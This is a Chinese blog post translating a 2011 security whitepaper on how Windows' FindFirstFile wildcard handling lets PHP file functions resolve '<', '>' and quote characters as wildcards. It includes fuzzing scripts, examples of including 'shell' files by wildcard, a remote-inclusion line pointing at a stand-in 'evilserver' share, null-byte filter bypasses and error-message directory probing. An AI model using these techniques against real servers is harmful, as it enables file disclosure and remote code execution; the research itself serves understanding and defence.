windows的文件系统机制引发的PHP路径爆破问题分析


Posted in PHP onJuly 28, 2014

1.开场白

此次所披露的是以下网页中提出的问题所取得的测试结果:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

<?php
for ($i=0; $i<255; $i++) {
$url = '1.ph' . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($i) . "\r\n";
}
?>

已知1.php存在,以上脚本访问的结果是:

1.php
1.phP
1.ph<
1.ph>

都能得到返回。
前两种能返回结果是总所周知的(因为windows的文件系统支持大小的互转的机制),另外的两种返回引起了我们的注意。
测试php版本:PHP4.9,PHP5.2,PHP5.3,PHP6.0
测试系统:WINXP SP3 X32,WINXP SP2 X64,WIN7,WIN2K3
经测试我们得出的结论是:该漏洞影响所有的windows+php版本 

2.深入探查模糊测试的结果

为了继续深入探查关于该bug的信息,我们对demo做了些许修改:

<?php
for ($j=0; $i<256; $j++) {
for ($i=0; $i<256; $i++) {
$url = '1.p' . chr($j) . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($j) . chr($i) . "\r\n";
}
}
?>

在调试php解释器的过程中,我们将此“神奇”的漏洞归结为一个Winapi 函数FindFirstFile()所产生的结果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).更好玩的是,当跟踪函数调用栈的过程中我们发现字符”>”被替换成”?”,字符”<”被替换成”*”,而符号”(双引号)被替换成一个”.”字符。这在2007年msdn公开的文档中被提及:http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3
但是此bug至今未被任何windows旗下所发行的任何版本修复!
我们要阐明的是,该函数FindFirstFile()在php下的运用远远不至于file_get_contents().关于该bug可以利用的函数我们已经列了如下一表:

windows的文件系统机制引发的PHP路径爆破问题分析
 
此外,我们还发现该利用也可以被运用到c++中,以下采用来自msdn的例子:

#include <windows.h>
#include <tchar.h>
#include <stdio.h>
void _tmain(int argc, TCHAR *argv[])
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
if( argc != 2 )
{
_tprintf(TEXT("Usage: %s [target_file]\n"), argv[0]);
return;
}
_tprintf (TEXT("Target file is %s\n"), argv[1]);
hFind = FindFirstFile(argv[1], &FindFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
printf ("FindFirstFile failed (%d)\n", GetLastError());
return;
}
else
{
_tprintf (TEXT("The first file found is %s\n"),
FindFileData.cFileName);
FindClose(hFind);
}
}

当传入参数”c:\bo<”时,成功访问到boot.ini文件。

3.利用方法总结

当调用FindFirstFile()函数时,”<”被替换成”*”,这意味该规则可以使”<”替换多个任意字符,但是测试中发现并不是所有情况都如我们所愿。所以,为了确保能够使”<”被替换成”*”,应当采用”<<”
EXAMPLE:include(‘shell<');  或者include(‘shell<<');    //当文件夹中超过一个以shell打头的文件时,该执行取按字母表排序后的第一个文件。
当调用FindFirstFile()函数时,”>”被替换成”?”,这意味这”>”可以替换单个任意字符
EXAMPLE:include(‘shell.p>p');    //当文件中超过一个以shell.p?p 通配时,该执行取按字母表排序后的第一个文件。
当调用FindFirstFile()函数时,”””(双引号)被替换成”.”
EXAMPLE:include(‘shell”php');    //===>include(‘shell.php');
如果文件名第一个字符是”.”的话,读取时可以忽略之
EXAMPLE:fopen(‘.htacess');  //==>fopen(‘htacess');   //加上第一点中的利用 ==>fopen(‘h<<');
文件名末尾可以加上一系列的/或者\的合集,你也可以在/或者\中间加上.字符,只要确保最后一位为”.”
EXAMPLE:fopen(“config.ini\\.// \/\/\/.”);==>  fopen(‘config.ini\./.\.'); ==>fopen(‘config.ini/////.')==>fopen(‘config.ini…..')   //译者注:此处的利用我不是很理解,有何作用?截断?
该函数也可以调用以”\\”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费4秒钟的时间,并可能触发时间响应机制以及max_execution_time抛错。所幸的是,该利用可以用来绕过allow_url_fopen=Off 并最终导致一个RFI(远程文件包含)
EXAMPLE:include (‘\\evilserver\shell.php');
用以下方法还可以切换文件的盘名
include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php');
选择磁盘命名语法可以用来绕过斜线字符过滤
file_get_contents(‘C:boot.ini'); //==>  file_get_contents (‘C:/boot.ini');
在php的命令行环境下(php.exe),关于系统保留名文件的利用细节
EXAMPLE:file_get_contents(‘C:/tmp/con.jpg'); //此举将会无休无止地从CON设备读取0字节,直到遇到eof
EXAMPLE:file_put_contents(‘C:/tmp/con.jpg',chr(0×07));  //此举将会不断地使服务器发出类似哔哔的声音

4.更深入的利用方法

除了以上已经展示的方法,你可以用下面的姿势来绕过WAF或者文件名过滤
请思考该例:

<?php
file_get_contents("/images/".$_GET['a'].".jpg");
//or another function from Table 1, i.e. include().
?>

访问test.php?a=../a<%00
可能出现两种结果

Warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in。。。
Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied。。

如果是第一种情况,说明不存在a打头的文件,第二种则存在。
 
此外,有记录显示,有时网站会抛出如下错误:

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

这说明该文件夹下存在一个以上以a打头的文件(夹),并且第一个就是admin_h1d3。

5.结论
实验告诉我们,php本身没有那么多的漏洞,我们所看到是:过分的依赖于另一种程序语言(注:如文中的漏洞产自与winapi的一个BUG),并且直接强 制使用,将会导致细微的错误(bug),并最终造成危害(vul).这样便拓宽了模糊测试的范畴(译者注:并不仅仅去研究web层面,而深入到系统底层),并最终导致IDS,IPS的规则更新。诚然,代码需要保护,需要补丁,需要升级与扩充。但是,这并不是我们真正要去关注的问题。在当下,我认为我们 更谨慎地去书写更多更严厉的过滤规则,正如我们一直在做的一样。任重道远,精益求精。
因为这是基础应用层的问题,所以我们猜想类似的问题可能出现在其他web应用中。于是我们还测试了mysql5,而实验结果表明,mysql5并不存在类似的漏洞。但是我们仍认为:类似的漏洞将会出现在诸如Perl、Python、Ruby等解释性语言上。

6.Referer

PHP application source code audits advanced technology:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese
MSDN FindFirstFile Function reference:
http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx
MSDN comments history:
http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3
MSDN article «Naming Files, Paths, and Namespaces»:
http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx
Technet article «Managing Files and Directories»:
http://technet.microsoft.com/en-us/library/cc722482.aspx
Paper «Technique of quick exploitation of 2blind SQL Injection»:
http://www.exploit-db.com/papers/13696/

 ==================================================================
全文完。
注:该文是2011年底发表的一篇白皮书,至今该bug依然存在。我在几个月前做CUIT的一个CTF时偶遇了一道该bug的利用,当时便是看的此文,当时只是粗粗读了一下,写了一个php的脚本去跑目录。今回闲来无事,翻译整理了一番。

PHP 相关文章推荐
与数据库连接
Oct 09 PHP
Windows PHP5和Apache的安装与配置
Jun 08 PHP
drupal 代码实现URL重写
May 04 PHP
php中用socket模拟http中post或者get提交数据的示例代码
Aug 08 PHP
测试php连接mysql是否成功的代码分享
Jan 24 PHP
apache中为php 设置虚拟目录
Dec 17 PHP
PHP测试成功的邮件发送案例
Oct 26 PHP
使用 laravel sms 构建短信验证码发送校验功能
Nov 06 PHP
PHP代码重构方法漫谈
Apr 17 PHP
PHP实现的DES加密解密类定义与用法示例
Nov 02 PHP
Yii框架常见缓存应用实例小结
Sep 09 PHP
基于thinkphp6.0的success、error实现方法
Nov 05 PHP
浅析PHP程序设计中的MVC编程思想
Jul 28 #PHP
PHP错误Allowed memory size of 67108864 bytes exhausted的3种解决办法
Jul 28 #PHP
php实现的九九乘法口诀表简洁版
Jul 28 #PHP
完美的2个php检测字符串是否是utf-8编码函数分享
Jul 28 #PHP
php5.3以后的版本连接sqlserver2000的方法
Jul 28 #PHP
php中把美国时间转为北京时间的自定义函数分享
Jul 28 #PHP
php的mkdir()函数创建文件夹比较安全的权限设置方法
Jul 28 #PHP
You might like
PHP读取目录下所有文件的代码
2008/01/07 PHP
PHP中error_log()函数的使用方法
2015/01/20 PHP
Thinkphp3.2.3分页使用实例解析
2016/07/28 PHP
PHP使用zlib扩展实现GZIP压缩输出的方法详解
2018/04/09 PHP
Laravel关联模型中过滤结果为空的结果集(has和with区别)
2018/10/18 PHP
PHP使用Redis实现Session共享的实现示例
2019/05/12 PHP
PHP的垃圾回收机制代码实例讲解
2021/02/27 PHP
IE8 浏览器Cookie的处理
2009/01/31 Javascript
前端开发部分总结[兼容性、DOM操作、跨域等](持续更新)
2010/03/04 Javascript
javascript cookies操作集合
2010/04/12 Javascript
javascript比较两个日期的先后示例代码
2014/12/31 Javascript
jQuery实现渐变下拉菜单的简单方法
2015/03/11 Javascript
使用JavaScript和CSS实现文本隔行换色的方法
2015/11/04 Javascript
Bootstrap按钮下拉菜单组件详解
2016/05/10 Javascript
简单谈谈Javascript函数中的arguments
2017/02/09 Javascript
Bootstrap table右键功能实现方法
2017/02/20 Javascript
vue-cli webpack 开发环境跨域详解
2017/05/18 Javascript
javascript简写常用的12个技巧(可以大大减少你的js代码量)
2020/03/28 Javascript
layui.js实现的表单验证功能示例
2017/11/15 Javascript
jquery+ajaxform+springboot控件实现数据更新功能
2018/01/22 jQuery
jquery根据name取得select选中的值实例(超简单)
2018/01/25 jQuery
webpack中的热刷新与热加载的区别
2018/04/09 Javascript
JS实现的缓冲运动效果示例
2018/04/30 Javascript
vue 设置 input 为不可以编辑的实现方法
2019/09/19 Javascript
Python计算斗牛游戏概率算法实例分析
2017/09/26 Python
Python实现读取txt文件并转换为excel的方法示例
2018/05/17 Python
简单谈谈python基本数据类型
2018/09/26 Python
python给微信好友定时推送消息的示例
2019/02/20 Python
python实现弹窗祝福效果
2019/04/07 Python
30行Python代码实现高分辨率图像导航的方法
2020/05/22 Python
Django中的DateTimeField和DateField实现
2021/02/24 Python
使用HTML和CSS3绘制基本卡通图案的示例分享
2015/11/06 HTML / CSS
AmazeUI框架搭建的方法步骤(图文)
2020/08/17 HTML / CSS
大学生村官承诺书
2014/03/28 职场文书
品牌服务方案
2014/06/03 职场文书
工程部岗位职责范本
2015/04/11 职场文书